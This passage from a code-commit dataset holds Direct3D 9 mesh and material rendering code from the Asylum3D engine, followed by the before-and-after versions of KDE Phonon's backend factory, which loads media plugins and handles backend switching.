virtual void commit ()\r\n    {\r\n        m_devs->SetStreamSource(0, m_mesh->vbuf, 0, m_mesh->nbpv);\r\n        m_devs->SetIndices(m_mesh->ibuf);\r\n        m_devs->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 0, m_mesh->vnum, 0, m_mesh->ntri);\r\n    }\r\n};\r\n\r\n}   \/* namespace *\/\r\n\r\n\/* ========================================================================= *\/\r\nCR_API asy::IMesh* create_crh3d9_mesh_wf_ss (const sWAVEFRONT* obj, leng_t idx,\r\n                                             const asy::crh3d9_main* main)\r\n{\r\n    asy::crh3d9_mesh_wf_ss* mesh;\r\n\r\n    mesh = new asy::crh3d9_mesh_wf_ss (main);\r\n    if (mesh != NULL) {\r\n        if (!mesh->init2_ss(obj, idx, main)) {\r\n            delete mesh;\r\n            mesh = NULL;\r\n        }\r\n    }\r\n    return ((asy::IMesh*)mesh);\r\n}\r\n\r\n\/*****************************************************************************\/\r\n\/*                               Object Base                                 *\/\r\n\/*****************************************************************************\/\r\n\r\n\/* =========================================================================== *\/\r\nCR_API bool create_crh3d9_base_wf (asy::object_base* base, const sWAVEFRONT* obj,\r\n                            create_crh3d9_attr_wf_t fattr, create_crh3d9_mesh_wf_t fmesh,\r\n                                    const asy::map_acs<asy::crh3d9_texr>* texpool,\r\n                                            const asy::crh3d9_main* main)\r\n{\r\n    asy::commit_batch   cb;\r\n\r\n    base->list.init();\r\n    for (leng_t idx = 0; idx < obj->n_m; idx++) {\r\n        leng_t  ii, cnt = 0, cmp = idx + 1;\r\n        for (ii = 0; ii < obj->n_g; ii++) {\r\n            if (obj->p_g[ii].attr < cmp)\r\n                break;\r\n            if (obj->p_g[ii].attr == cmp)\r\n                cnt += 1;\r\n        }\r\n        if (cnt == 0)\r\n            continue;\r\n        cb.attr = fattr(&obj->p_m[idx], texpool, main);\r\n        if (cb.attr == NULL)\r\n            goto _failure1;\r\n        cb.mesh = mem_talloc(cnt + 1, asy::IMesh*);\r\n        if (cb.mesh == NULL) {\r\n            delete cb.attr;\r\n            goto _failure1;\r\n        }\r\n        for (cnt = 0, ii = 0; ii < obj->n_g; ii++) {\r\n            if (obj->p_g[ii].attr < cmp)\r\n                break;\r\n            if (obj->p_g[ii].attr == cmp) {\r\n                cb.mesh[cnt] = fmesh(obj, ii, main);\r\n                if (cb.mesh[cnt] == NULL)\r\n                    goto _failure2;\r\n                cnt += 1;\r\n            }\r\n        }\r\n        cb.mesh[cnt] = NULL;\r\n        if (base->list.append(&cb) == NULL)\r\n            goto _failure2;\r\n    }\r\n    if (base->list.size() == 0)\r\n        goto _failure1;\r\n    bound_get_aabb(&base->aabb, obj->p_v, obj->n_v, sizeof(vec3d_t));\r\n    bound_get_ball(&base->ball, obj->p_v, obj->n_v, sizeof(vec3d_t));\r\n    return (true);\r\n\r\n_failure2:\r\n    cb.free();\r\n_failure1:\r\n    base->free();\r\n    return (false);\r\n}\r\n<commit_msg>Asylum: 代码微调<commit_after>\/*\r\n***************************************\r\n*   Asylum3D @ 2014-12-24\r\n***************************************\r\n*\/\r\n\r\n#include \"..\/..\/asylum.hpp\"\r\n\r\n\/*****************************************************************************\/\r\n\/*                                  Effect                                   *\/\r\n\/*****************************************************************************\/\r\n\r\n\/* Asylum Namespace *\/\r\nnamespace asy {\r\n\r\n\/****************************\/\r\n\/* Wavefront Effect (Fixed) *\/\r\n\/****************************\/\r\nclass crh3d9_ffct_wf_fixed : public IEffect\r\n{\r\nprivate:\r\n    bool                m_uselt;\r\n    BOOL*               m_onoff;\r\n    DWORD               m_count;\r\n    int64u              m_flags;\r\n    D3DCOLOR*           m_color;\r\n    D3DLIGHT9*          m_light;\r\n    LPDIRECT3DDEVICE9   m_devcs;\r\n\r\npublic:\r\n    \/* ===================================================================================================================== *\/\r\n    crh3d9_ffct_wf_fixed (D3DCOLOR* ambient, D3DLIGHT9* light, BOOL* onoff, DWORD count, int64u flags, const crh3d9_main* main)\r\n    {\r\n        m_onoff = onoff;\r\n        m_count = count;\r\n        m_flags = flags;\r\n        m_light = light;\r\n        m_color = ambient;\r\n        m_devcs = main->get_main()->dev;\r\n        m_uselt = (m_light != NULL && m_onoff != NULL && m_count != 0) ? true : false;\r\n    }\r\n\r\n    \/* ========================== *\/\r\n    virtual ~crh3d9_ffct_wf_fixed ()\r\n    {\r\n    }\r\n\r\npublic:\r\n    \/* =============== *\/\r\n    virtual void enter ()\r\n    {\r\n        uint_t  fvf = D3DFVF_XYZ;\r\n\r\n        m_devcs->SetRenderState(D3DRS_COLORVERTEX, FALSE);\r\n        m_devcs->SetRenderState(D3DRS_DIFFUSEMATERIALSOURCE, D3DMCS_MATERIAL);\r\n        m_devcs->SetRenderState(D3DRS_SPECULARMATERIALSOURCE, D3DMCS_MATERIAL);\r\n        if (m_flags & ATTR_TYPE_TRANS) {\r\n            m_devcs->SetRenderState(D3DRS_ALPHABLENDENABLE, TRUE);\r\n            m_devcs->SetRenderState(D3DRS_BLENDOP, D3DBLENDOP_ADD);\r\n            m_devcs->SetRenderState(D3DRS_SRCBLEND, D3DBLEND_SRCALPHA);\r\n            m_devcs->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA);\r\n        }\r\n        if (m_flags & ATTR_TYPE_NORMAL) {\r\n            fvf |= D3DFVF_NORMAL;\r\n            if (m_uselt) {\r\n                m_devcs->SetRenderState(D3DRS_LIGHTING, TRUE);\r\n                if (m_flags & ATTR_TYPE_SPECULAR)\r\n                    m_devcs->SetRenderState(D3DRS_SPECULARENABLE, TRUE);\r\n            }\r\n        }\r\n        if (m_flags & ATTR_TYPE_TEXTURE)\r\n            fvf |= D3DFVF_TEX1;\r\n        m_devcs->SetFVF(fvf);\r\n    }\r\n\r\n    \/* =============== *\/\r\n    virtual void leave ()\r\n    {\r\n        m_devcs->SetRenderState(D3DRS_COLORVERTEX, TRUE);\r\n        m_devcs->SetRenderState(D3DRS_DIFFUSEMATERIALSOURCE, D3DMCS_COLOR1);\r\n        m_devcs->SetRenderState(D3DRS_SPECULARMATERIALSOURCE, D3DMCS_COLOR2);\r\n        if (m_flags & ATTR_TYPE_TRANS)\r\n            m_devcs->SetRenderState(D3DRS_ALPHABLENDENABLE, FALSE);\r\n        if (m_flags & ATTR_TYPE_NORMAL) {\r\n            if (m_uselt) {\r\n                m_devcs->SetRenderState(D3DRS_LIGHTING, FALSE);\r\n                if (m_flags & ATTR_TYPE_SPECULAR)\r\n                    m_devcs->SetRenderState(D3DRS_SPECULARENABLE, FALSE);\r\n            }\r\n        }\r\n    }\r\n\r\n    \/* ================ *\/\r\n    virtual void update ()\r\n    {\r\n        if (m_color != NULL)\r\n            m_devcs->SetRenderState(D3DRS_AMBIENT, m_color[0]);\r\n        if (m_uselt) {\r\n            for (DWORD idx = 0; idx < m_count; idx++) {\r\n                m_devcs->SetLight(idx, &m_light[idx]);\r\n                m_devcs->LightEnable(idx, m_onoff[idx]);\r\n            }\r\n        }\r\n    }\r\n};\r\n\r\n}   \/* namespace *\/\r\n\r\n\/* ================================================================================ *\/\r\nCR_API asy::IEffect* create_crh3d9_ffct_wf_fixed (D3DCOLOR* ambient, D3DLIGHT9* light,\r\n                BOOL* onoff, DWORD count, int64u flags, const asy::crh3d9_main* main)\r\n{\r\n    asy::crh3d9_ffct_wf_fixed*  ffct;\r\n\r\n    ffct = new asy::crh3d9_ffct_wf_fixed (ambient, light, onoff, count, flags, main);\r\n    return ((asy::IEffect*)ffct);\r\n}\r\n\r\n\/*****************************************************************************\/\r\n\/*                                Attribute                                  *\/\r\n\/*****************************************************************************\/\r\n\r\n\/* Asylum Namespace *\/\r\nnamespace asy {\r\n\r\n\/*******************************\/\r\n\/* Wavefront Attribute (Fixed) *\/\r\n\/*******************************\/\r\nclass crh3d9_attr_wf_fixed : public IAttrib\r\n{\r\nprotected:\r\n    D3DMATERIAL9        m_mtl;\r\n    crh3d9_texr*        m_map_kd;\r\n    LPDIRECT3DDEVICE9   m_device;\r\n\r\npublic:\r\n    \/* ======================================== *\/\r\n    crh3d9_attr_wf_fixed (const crh3d9_main* main)\r\n    {\r\n        m_device = main->get_main()->dev;\r\n    }\r\n\r\n    \/* ========================== *\/\r\n    virtual ~crh3d9_attr_wf_fixed ()\r\n    {\r\n    }\r\n\r\npublic:\r\n    \/* ===================================================================== *\/\r\n    bool init_ff (const sWAVEFRONT_M* mtl, const map_acs<crh3d9_texr>* texpool)\r\n    {\r\n        if (mtl->map_kd != NULL) {\r\n            m_map_kd = texpool->get(mtl->map_kd);\r\n            if (m_map_kd == NULL)\r\n                return (false);\r\n        }\r\n        else {\r\n            m_map_kd = NULL;\r\n        }\r\n        m_mtl.Diffuse.r = mtl->kd.x;\r\n        m_mtl.Diffuse.g = mtl->kd.y;\r\n        m_mtl.Diffuse.b = mtl->kd.z;\r\n        m_mtl.Diffuse.a = mtl->d;\r\n        if (m_mtl.Diffuse.a < 0.0f)\r\n            m_mtl.Diffuse.a = 0.0f;\r\n        else\r\n        if (m_mtl.Diffuse.a > 1.0f)\r\n            m_mtl.Diffuse.a = 1.0f;\r\n        m_mtl.Ambient.r = mtl->ka.x;\r\n        m_mtl.Ambient.g = mtl->ka.y;\r\n        m_mtl.Ambient.b = mtl->ka.z;\r\n        m_mtl.Ambient.a = 0.0f;\r\n        m_mtl.Specular.r = mtl->ks.x;\r\n        m_mtl.Specular.g = mtl->ks.y;\r\n        m_mtl.Specular.b = mtl->ks.z;\r\n        m_mtl.Specular.a = 0.0f;\r\n        m_mtl.Emissive.r = 0.0f;\r\n        m_mtl.Emissive.g = 0.0f;\r\n        m_mtl.Emissive.b = 0.0f;\r\n        m_mtl.Emissive.a = 0.0f;\r\n        m_mtl.Power = mtl->ns;\r\n        m_type = ATTR_TYPE_NORMAL;\r\n        if (m_mtl.Diffuse.a < 1.0f)\r\n            m_type |= ATTR_TYPE_TRANS;\r\n        if (m_map_kd != NULL)\r\n            m_type |= ATTR_TYPE_TEXTURE;\r\n        if (m_mtl.Specular.r <= 0.0f && m_mtl.Specular.g <= 0.0f &&\r\n            m_mtl.Specular.b <= 0.0f && m_mtl.Specular.a <= 0.0f)\r\n            m_type |= ATTR_TYPE_SPECULAR;\r\n        return (true);\r\n    }\r\n\r\n    \/* ================ *\/\r\n    virtual void commit ()\r\n    {\r\n        if (m_map_kd != NULL)\r\n            m_map_kd->apply(0);\r\n        else\r\n            m_device->SetTexture(0, NULL);\r\n        m_device->SetMaterial(&m_mtl);\r\n    }\r\n};\r\n\r\n}   \/* namespace *\/\r\n\r\n\/* ==================================================================== *\/\r\nCR_API asy::IAttrib* create_crh3d9_attr_wf_fixed (const sWAVEFRONT_M* mtl,\r\n    const asy::map_acs<asy::crh3d9_texr>* texpool, const asy::crh3d9_main* main)\r\n{\r\n    asy::crh3d9_attr_wf_fixed*  attr;\r\n\r\n    attr = new asy::crh3d9_attr_wf_fixed (main);\r\n    if (attr != NULL) {\r\n        if (!attr->init_ff(mtl, texpool)) {\r\n            delete attr;\r\n            attr = NULL;\r\n        }\r\n    }\r\n    return ((asy::IAttrib*)attr);\r\n}\r\n\r\n\/*****************************************************************************\/\r\n\/*                                   Mesh                                    *\/\r\n\/*****************************************************************************\/\r\n\r\n\/* Asylum Namespace *\/\r\nnamespace asy {\r\n\r\n\/**********************************\/\r\n\/* Wavefront Mesh (Single Stream) *\/\r\n\/**********************************\/\r\nclass crh3d9_mesh_wf_ss : public IMesh\r\n{\r\nprivate:\r\n    sD3D9_MESH*         m_mesh;\r\n    const sD3D9_CALL*   m_call;\r\n    LPDIRECT3DDEVICE9   m_devs;\r\n\r\npublic:\r\n    \/* ===================================== *\/\r\n    crh3d9_mesh_wf_ss (const crh3d9_main* main)\r\n    {\r\n        m_mesh = NULL;\r\n        m_call = main->get_call();\r\n        m_devs = main->get_main()->dev;\r\n    }\r\n\r\n    \/* ======================= *\/\r\n    virtual ~crh3d9_mesh_wf_ss ()\r\n    {\r\n        if (m_mesh != NULL)\r\n            m_call->release_mesh(m_mesh);\r\n    }\r\n\r\npublic:\r\n    \/* ==================================================================== *\/\r\n    bool init2_ss (const sWAVEFRONT* obj, leng_t idx, const crh3d9_main* main)\r\n    {\r\n        leng_t  nv, ni, bpv;\r\n\r\n        nv = wfront_gen_mesh2(NULL, NULL, NULL, 0, 0, 0, NULL, &ni, obj, idx);\r\n        if (nv == 0)\r\n            return (false);\r\n        bpv = sizeof(vec3d_t);\r\n        if (obj->p_f[0].idx[2] != 0)\r\n            bpv += sizeof(vec3d_t);\r\n        if (obj->p_f[0].idx[1] != 0)\r\n            bpv += sizeof(vec2d_t);\r\n\r\n        void_t* vb;\r\n        void_t* ib;\r\n\r\n        vb = mem_calloc(nv, bpv);\r\n        if (vb == NULL)\r\n            return (false);\r\n        if (nv > 65536)\r\n            ib = mem_calloc(ni, sizeof(int32u));\r\n        else\r\n            ib = mem_calloc(ni, sizeof(int16u));\r\n        if (ib == NULL) {\r\n            mem_free(vb);\r\n            return (false);\r\n        }\r\n\r\n        uint_t      fvf;\r\n        vec3d_t*    xyz;\r\n        vec3d_t*    nrm;\r\n        vec2d_t*    uvw;\r\n\r\n        fvf = D3DFVF_XYZ;\r\n        xyz = (vec3d_t*)vb;\r\n        if (obj->p_f[0].idx[2] != 0) {\r\n            fvf |= D3DFVF_NORMAL;\r\n            nrm = xyz + 1;\r\n            uvw = (vec2d_t*)(nrm + 1);\r\n        }\r\n        else {\r\n            nrm = NULL;\r\n            uvw = (vec2d_t*)(xyz + 1);\r\n        }\r\n        if (obj->p_f[0].idx[1] != 0)\r\n            fvf |= D3DFVF_TEX1;\r\n        else\r\n            uvw = NULL;\r\n        wfront_gen_mesh2(xyz, nrm, uvw, bpv, 0, 0, ib, NULL, obj, idx);\r\n        m_mesh = m_call->create_mesh_vib(main->get_main(), nv, bpv, ni,\r\n                            D3DPOOL_MANAGED, D3DUSAGE_WRITEONLY, D3DPOOL_MANAGED,\r\n                                    D3DUSAGE_WRITEONLY, fvf, vb, ib);\r\n        mem_free(vb);\r\n        mem_free(ib);\r\n        if (m_mesh == NULL)\r\n            return (false);\r\n        return (true);\r\n    }\r\n\r\n    \/* ================ *\/\r\n    virtual void commit ()\r\n    {\r\n        m_devs->SetStreamSource(0, m_mesh->vbuf, 0, m_mesh->nbpv);\r\n        m_devs->SetIndices(m_mesh->ibuf);\r\n        m_devs->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 0, m_mesh->vnum, 0, m_mesh->ntri);\r\n    }\r\n};\r\n\r\n}   \/* namespace *\/\r\n\r\n\/* ========================================================================= *\/\r\nCR_API asy::IMesh* create_crh3d9_mesh_wf_ss (const sWAVEFRONT* obj, leng_t idx,\r\n                                             const asy::crh3d9_main* main)\r\n{\r\n    asy::crh3d9_mesh_wf_ss* mesh;\r\n\r\n    mesh = new asy::crh3d9_mesh_wf_ss (main);\r\n    if (mesh != NULL) {\r\n        if (!mesh->init2_ss(obj, idx, main)) {\r\n            delete mesh;\r\n            mesh = NULL;\r\n        }\r\n    }\r\n    return ((asy::IMesh*)mesh);\r\n}\r\n\r\n\/*****************************************************************************\/\r\n\/*                               Object Base                                 *\/\r\n\/*****************************************************************************\/\r\n\r\n\/* =========================================================================== *\/\r\nCR_API bool create_crh3d9_base_wf (asy::object_base* base, const sWAVEFRONT* obj,\r\n                            create_crh3d9_attr_wf_t fattr, create_crh3d9_mesh_wf_t fmesh,\r\n                                    const asy::map_acs<asy::crh3d9_texr>* texpool,\r\n                                            const asy::crh3d9_main* main)\r\n{\r\n    asy::commit_batch   cb;\r\n\r\n    base->list.init();\r\n    for (leng_t idx = 0; idx < obj->n_m; idx++) {\r\n        leng_t  ii, cnt = 0, cmp = idx + 1;\r\n        for (ii = 0; ii < obj->n_g; ii++) {\r\n            if (obj->p_g[ii].attr < cmp)\r\n                break;\r\n            if (obj->p_g[ii].attr == cmp)\r\n                cnt += 1;\r\n        }\r\n        if (cnt == 0)\r\n            continue;\r\n        cb.attr = fattr(&obj->p_m[idx], texpool, main);\r\n        if (cb.attr == NULL)\r\n            goto _failure1;\r\n        cb.mesh = mem_talloc(cnt + 1, asy::IMesh*);\r\n        if (cb.mesh == NULL) {\r\n            delete cb.attr;\r\n            goto _failure1;\r\n        }\r\n        for (cnt = 0, ii = 0; ii < obj->n_g; ii++) {\r\n            if (obj->p_g[ii].attr < cmp)\r\n                break;\r\n            if (obj->p_g[ii].attr == cmp) {\r\n                cb.mesh[cnt] = fmesh(obj, ii, main);\r\n                if (cb.mesh[cnt] == NULL)\r\n                    goto _failure2;\r\n                cnt += 1;\r\n            }\r\n        }\r\n        cb.mesh[cnt] = NULL;\r\n        if (base->list.append(&cb) == NULL)\r\n            goto _failure2;\r\n    }\r\n    if (base->list.size() == 0)\r\n        goto _failure1;\r\n    if (!base->list.no_grow())\r\n        goto _failure1;\r\n    bound_get_aabb(&base->aabb, obj->p_v, obj->n_v, sizeof(vec3d_t));\r\n    bound_get_ball(&base->ball, obj->p_v, obj->n_v, sizeof(vec3d_t));\r\n    return (true);\r\n\r\n_failure2:\r\n    cb.free();\r\n_failure1:\r\n    base->free();\r\n    return (false);\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*  This file is part of the KDE project\n    Copyright (C) 2004-2007 Matthias Kretz <kretz@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License version 2 as published by the Free Software Foundation.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n    Boston, MA 02110-1301, USA.\n\n*\/\n\n#include \"factory_p.h\"\n\n#include \"backendinterface.h\"\n#include \"medianode_p.h\"\n#include \"audiooutput.h\"\n#include \"audiooutput_p.h\"\n#include \"globalstatic_p.h\"\n#include \"objectdescription.h\"\n#include \"platformplugin.h\"\n#include \"phononnamespace_p.h\"\n\n#include <QtCore\/QCoreApplication>\n#include <QtCore\/QDir>\n#include <QtCore\/QFile>\n#include <QtCore\/QLibrary>\n#include <QtCore\/QList>\n#include <QtCore\/QPluginLoader>\n#include <QtCore\/QPointer>\n#include <QtGui\/QIcon>\n#ifndef QT_NO_DBUS\n#include <QtDBus\/QtDBus>\n#endif\n\nQT_BEGIN_NAMESPACE\n\nnamespace Phonon\n{\n\nclass PlatformPlugin;\nclass FactoryPrivate : public Phonon::Factory::Sender\n{\n    friend QObject *Factory::backend(bool);\n    Q_OBJECT\n    public:\n        FactoryPrivate();\n        ~FactoryPrivate();\n        bool createBackend();\n        PlatformPlugin *platformPlugin();\n\n        QPointer<QObject> m_backendObject;\n        PlatformPlugin *m_platformPlugin;\n        bool m_noPlatformPlugin;\n\n        QList<QObject *> objects;\n        QList<MediaNodePrivate *> mediaNodePrivateList;\n\n    private Q_SLOTS:\n        \/**\n         * This is called via DBUS when the user changes the Phonon Backend.\n         *\/\n        void phononBackendChanged();\n\n        \/**\n         * unregisters the backend object\n         *\/\n        void objectDestroyed(QObject *);\n\n        void objectDescriptionChanged(ObjectDescriptionType);\n};\n\nPHONON_GLOBAL_STATIC(Phonon::FactoryPrivate, globalFactory)\n\nvoid Factory::setBackend(QObject *b)\n{\n    Q_ASSERT(globalFactory->m_backendObject == 0);\n    globalFactory->m_backendObject = b;\n}\n\n\/*void Factory::createBackend(const QString &library, const QString &version)\n{\n    Q_ASSERT(globalFactory->m_backendObject == 0);\n    PlatformPlugin *f = globalFactory->platformPlugin();\n    if (f) {\n        globalFactory->m_backendObject = f->createBackend(library, version);\n    }\n}*\/\n\nbool FactoryPrivate::createBackend()\n{\n    Q_ASSERT(m_backendObject == 0);\n    PlatformPlugin *f = globalFactory->platformPlugin();\n    if (f) {\n        m_backendObject = f->createBackend();\n    }\n    if (!m_backendObject) {\n        \/\/ could not load a backend through the platform plugin. Falling back to the default\n        \/\/ (finding the first loadable backend).\n        const QLatin1String suffix(\"\/phonon_backend\/\");\n        foreach (QString libPath, QCoreApplication::libraryPaths()) {\n            libPath += suffix;\n            const QDir dir(libPath);\n            if (!dir.exists()) {\n                pDebug() << Q_FUNC_INFO << dir.absolutePath() << \"does not exist\";\n                continue;\n            }\n            foreach (const QString &pluginName, dir.entryList(QDir::Files)) {\n                QPluginLoader pluginLoader(libPath + pluginName);\n                if (!pluginLoader.load()) {\n                    pDebug() << Q_FUNC_INFO << \"  load failed:\"\n                             << pluginLoader.errorString();\n                    continue;\n                }\n                pDebug() << pluginLoader.instance();\n                m_backendObject = pluginLoader.instance();\n                if (m_backendObject) {\n                    break;\n                }\n\n                \/\/ no backend found, don't leave an unused plugin in memory\n                pluginLoader.unload();\n            }\n\n            if (m_backendObject) {\n                break;\n            }\n        }\n        if (!m_backendObject) {\n            pWarning() << Q_FUNC_INFO << \"phonon backend plugin could not be loaded\";\n            return false;\n        }\n    }\n\n    connect(m_backendObject, SIGNAL(objectDescriptionChanged(ObjectDescriptionType)),\n            SLOT(objectDescriptionChanged(ObjectDescriptionType)));\n\n    return true;\n}\n\nFactoryPrivate::FactoryPrivate()\n    : m_backendObject(0),\n    m_platformPlugin(0),\n    m_noPlatformPlugin(false)\n{\n    \/\/ Add the post routine to make sure that all other global statics (especially the ones from Qt)\n    \/\/ are still available. If the FactoryPrivate dtor is called too late many bad things can happen\n    \/\/ as the whole backend might still be alive.\n    qAddPostRoutine(globalFactory.destroy);\n#ifndef QT_NO_DBUS\n    QDBusConnection::sessionBus().connect(QString(), QString(), \"org.kde.Phonon.Factory\",\n            \"phononBackendChanged\", this, SLOT(phononBackendChanged()));\n#endif\n}\n\nFactoryPrivate::~FactoryPrivate()\n{\n    foreach (MediaNodePrivate *bp, mediaNodePrivateList) {\n        bp->deleteBackendObject();\n    }\n    if (objects.size() > 0) {\n        pError() << \"The backend objects are not deleted as was requested.\";\n        qDeleteAll(objects);\n    }\n    delete m_backendObject;\n    delete m_platformPlugin;\n}\n\nvoid FactoryPrivate::objectDescriptionChanged(ObjectDescriptionType type)\n{\n#ifdef PHONON_METHODTEST\n    Q_UNUSED(type);\n#else\n    pDebug() << Q_FUNC_INFO << type;\n    switch (type) {\n    case AudioOutputDeviceType:\n        emit availableAudioOutputDevicesChanged();\n        break;\n    default:\n        break;\n    }\n    \/\/emit capabilitiesChanged();\n#endif \/\/ PHONON_METHODTEST\n}\n\nFactory::Sender *Factory::sender()\n{\n    return globalFactory;\n}\n\nbool Factory::isMimeTypeAvailable(const QString &mimeType)\n{\n    PlatformPlugin *f = globalFactory->platformPlugin();\n    if (f) {\n        return f->isMimeTypeAvailable(mimeType);\n    }\n    return true; \/\/ the MIME type might be supported, let BackendCapabilities find out\n}\n\nvoid Factory::registerFrontendObject(MediaNodePrivate *bp)\n{\n    globalFactory->mediaNodePrivateList.prepend(bp); \/\/ inserted last => deleted first\n}\n\nvoid Factory::deregisterFrontendObject(MediaNodePrivate *bp)\n{\n    \/\/ The Factory can already be cleaned up while there are other frontend objects still alive.\n    \/\/ When those are deleted they'll call deregisterFrontendObject through ~BasePrivate\n    if (!globalFactory.isDestroyed()) {\n        globalFactory->mediaNodePrivateList.removeAll(bp);\n    }\n}\n\nvoid FactoryPrivate::phononBackendChanged()\n{\n    if (m_backendObject) {\n        foreach (MediaNodePrivate *bp, mediaNodePrivateList) {\n            bp->deleteBackendObject();\n        }\n        if (objects.size() > 0) {\n            pDebug() << \"WARNING: we were asked to change the backend but the application did\\n\"\n                \"not free all references to objects created by the factory. Therefore we can not\\n\"\n                \"change the backend without crashing. Now we have to wait for a restart to make\\n\"\n                \"backendswitching possible.\";\n            \/\/ in case there were objects deleted give 'em a chance to recreate\n            \/\/ them now\n            foreach (MediaNodePrivate *bp, mediaNodePrivateList) {\n                bp->createBackendObject();\n            }\n            return;\n        }\n        delete m_backendObject;\n        m_backendObject = 0;\n    }\n    createBackend();\n    foreach (MediaNodePrivate *bp, mediaNodePrivateList) {\n        bp->createBackendObject();\n    }\n    emit backendChanged();\n}\n\n\/\/X void Factory::freeSoundcardDevices()\n\/\/X {\n\/\/X     if (globalFactory->backend) {\n\/\/X         globalFactory->backend->freeSoundcardDevices();\n\/\/X     }\n\/\/X }\n\nvoid FactoryPrivate::objectDestroyed(QObject * obj)\n{\n    \/\/pDebug() << Q_FUNC_INFO << obj;\n    objects.removeAll(obj);\n}\n\n#define FACTORY_IMPL(classname) \\\nQObject *Factory::create ## classname(QObject *parent) \\\n{ \\\n    if (backend()) { \\\n        return registerQObject(qobject_cast<BackendInterface *>(backend())->createObject(BackendInterface::classname##Class, parent)); \\\n    } \\\n    return 0; \\\n}\n#define FACTORY_IMPL_1ARG(classname) \\\nQObject *Factory::create ## classname(int arg1, QObject *parent) \\\n{ \\\n    if (backend()) { \\\n        return registerQObject(qobject_cast<BackendInterface *>(backend())->createObject(BackendInterface::classname##Class, parent, QList<QVariant>() << arg1)); \\\n    } \\\n    return 0; \\\n}\n\nFACTORY_IMPL(MediaObject)\nFACTORY_IMPL_1ARG(Effect)\nFACTORY_IMPL(VolumeFaderEffect)\nFACTORY_IMPL(AudioOutput)\nFACTORY_IMPL(AudioDataOutput)\nFACTORY_IMPL(Visualization)\nFACTORY_IMPL(VideoDataOutput)\nFACTORY_IMPL(VideoWidget)\n\n#undef FACTORY_IMPL\n\nPlatformPlugin *FactoryPrivate::platformPlugin()\n{\n    if (m_platformPlugin) {\n        return m_platformPlugin;\n    }\n    if (m_noPlatformPlugin) {\n        return 0;\n    }\n#ifndef QT_NO_DBUS\n    if (!QCoreApplication::instance() || QCoreApplication::applicationName().isEmpty()) {\n        pWarning() << \"Phonon needs QCoreApplication::applicationName to be set to export audio output names through the DBUS interface\";\n    }\n#endif\n    const QString suffix(QLatin1String(\"\/phonon_platform\/\"));\n    Q_ASSERT(QCoreApplication::instance());\n    foreach (QString libPath, QCoreApplication::libraryPaths()) {\n        libPath += suffix;\n        const QDir dir(libPath);\n        if (!dir.exists()) {\n            pDebug() << Q_FUNC_INFO << dir.absolutePath() << \"does not exist\";\n            continue;\n        }\n        foreach (const QString &pluginName, dir.entryList(QDir::Files)) {\n            QPluginLoader pluginLoader(libPath + pluginName);\n            if (!pluginLoader.load()) {\n                pDebug() << Q_FUNC_INFO << \"  platform plugin load failed:\"\n                    << pluginLoader.errorString();\n                continue;\n            }\n            pDebug() << pluginLoader.instance();\n            QObject *qobj = pluginLoader.instance();\n            m_platformPlugin = qobject_cast<PlatformPlugin *>(qobj);\n            pDebug() << m_platformPlugin;\n            if (m_platformPlugin) {\n                connect(qobj, SIGNAL(objectDescriptionChanged(ObjectDescriptionType)),\n                        SLOT(objectDescriptionChanged(ObjectDescriptionType)));\n                return m_platformPlugin;\n            } else {\n                pDebug() << Q_FUNC_INFO << dir.absolutePath() << \"exists but the platform plugin was not loadable:\" << pluginLoader.errorString();\n                pluginLoader.unload();\n            }\n        }\n    }\n    pDebug() << Q_FUNC_INFO << \"phonon_platform\/kde plugin could not be loaded\";\n    m_noPlatformPlugin = true;\n    return 0;\n}\n\nPlatformPlugin *Factory::platformPlugin()\n{\n    return globalFactory->platformPlugin();\n}\n\nQObject *Factory::backend(bool createWhenNull)\n{\n    if (globalFactory.isDestroyed()) {\n        return 0;\n    }\n    if (createWhenNull && globalFactory->m_backendObject == 0) {\n        globalFactory->createBackend();\n        \/\/ XXX: might create \"reentrancy\" problems:\n        \/\/ a method calls this method and is called again because the\n        \/\/ backendChanged signal is emitted\n        emit globalFactory->backendChanged();\n    }\n    return globalFactory->m_backendObject;\n}\n\n#define GET_STRING_PROPERTY(name) \\\nQString Factory::name() \\\n{ \\\n    if (globalFactory->m_backendObject) { \\\n        return globalFactory->m_backendObject->property(#name).toString(); \\\n    } \\\n    return QString(); \\\n} \\\n\nGET_STRING_PROPERTY(identifier)\nGET_STRING_PROPERTY(backendName)\nGET_STRING_PROPERTY(backendComment)\nGET_STRING_PROPERTY(backendVersion)\nGET_STRING_PROPERTY(backendIcon)\nGET_STRING_PROPERTY(backendWebsite)\n\nQObject *Factory::registerQObject(QObject *o)\n{\n    if (o) {\n        QObject::connect(o, SIGNAL(destroyed(QObject *)), globalFactory, SLOT(objectDestroyed(QObject *)), Qt::DirectConnection);\n        globalFactory->objects.append(o);\n    }\n    return o;\n}\n\n} \/\/namespace Phonon\n\nQT_END_NAMESPACE\n\n#include \"factory.moc\"\n#include \"moc_factory_p.cpp\"\n\n\/\/ vim: sw=4 ts=4\n<commit_msg>make it stop playback a bit faster on shutdown. Especially with streams and the xine backend there was a quite noticable delay<commit_after>\/*  This file is part of the KDE project\n    Copyright (C) 2004-2007 Matthias Kretz <kretz@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License version 2 as published by the Free Software Foundation.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n    Boston, MA 02110-1301, USA.\n\n*\/\n\n#include \"factory_p.h\"\n\n#include \"backendinterface.h\"\n#include \"medianode_p.h\"\n#include \"mediaobject.h\"\n#include \"audiooutput.h\"\n#include \"audiooutput_p.h\"\n#include \"globalstatic_p.h\"\n#include \"objectdescription.h\"\n#include \"platformplugin.h\"\n#include \"phononnamespace_p.h\"\n\n#include 